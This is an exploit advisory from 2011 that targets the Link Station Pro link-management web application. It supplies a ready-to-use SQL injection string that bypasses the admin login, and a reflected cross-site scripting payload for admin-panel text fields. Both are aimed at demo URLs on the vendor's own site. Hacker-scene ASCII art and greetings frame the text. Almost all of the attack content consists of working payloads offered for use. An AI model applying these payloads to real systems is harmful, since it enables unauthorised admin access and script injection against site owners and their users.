47 lines
No EOL
2.1 KiB
Text
47 lines
No EOL
2.1 KiB
Text
%+
|
||
$.......#........4.........|)........0............\/\/ %+
|
||
|
||
|
||
%+
|
||
%+
|
||
|
||
|
||
%++++++++++++++++++++++++++++++++++++++++
|
||
|
||
|
||
# Exploit Title: Link Station Pro Multiple Vulnerabilities
|
||
# Vendor: www.linkstationpro.com
|
||
# Date: 28th july,2011
|
||
# Author: $#4d0\/\/[r007k17] a.k.a Raghavendra Karthik D (
|
||
http://www.shadowrootkit.wordpress.com)
|
||
# Google Dork: <20> 2011 Copyright SteveDawson.com
|
||
*****************************************************************************************************************************************************************************************
|
||
BREIF DESCRIPTION
|
||
*****************************
|
||
Link Station Pro is without doubt, the most efficient, easiest and most
|
||
configurable reciprocal link management tool available for all your
|
||
reciprocal link requirements.
|
||
|
||
******************************************************************************************************************************************************************************************
|
||
|
||
(Auth ByPass) SQLi Vulnerability
|
||
***************************************
|
||
{DEMO} : http://www.linkstationpro.com/Partners/admindemo/index.php
|
||
|
||
EXPLOIT:
|
||
Username: ' or 'bug'='bug' #
|
||
Password: ' or 'bug'='bug' #
|
||
Observe: Attackers can use Authentication Bypass to get into Admin Panel in
|
||
the site.
|
||
|
||
Reflected XSS Vulnerability
|
||
********************************
|
||
EXPLOIT 2: XSS Vulnerability in admin panel(in most of the text fields)
|
||
|
||
{Demo}:
|
||
http://www.linkstationpro.com/Partners/admindemo/manage_categories.php
|
||
Exploit: ">><marquee><h1>XSSed_by_r007k17</h1></marquee>
|
||
|
||
*****************************************************************************************************************************************************************************************
|
||
gr33t1ngs to s1d3 effects and my friends@!3.14--
|
||
***************************************************************************************************************************************************************************************** |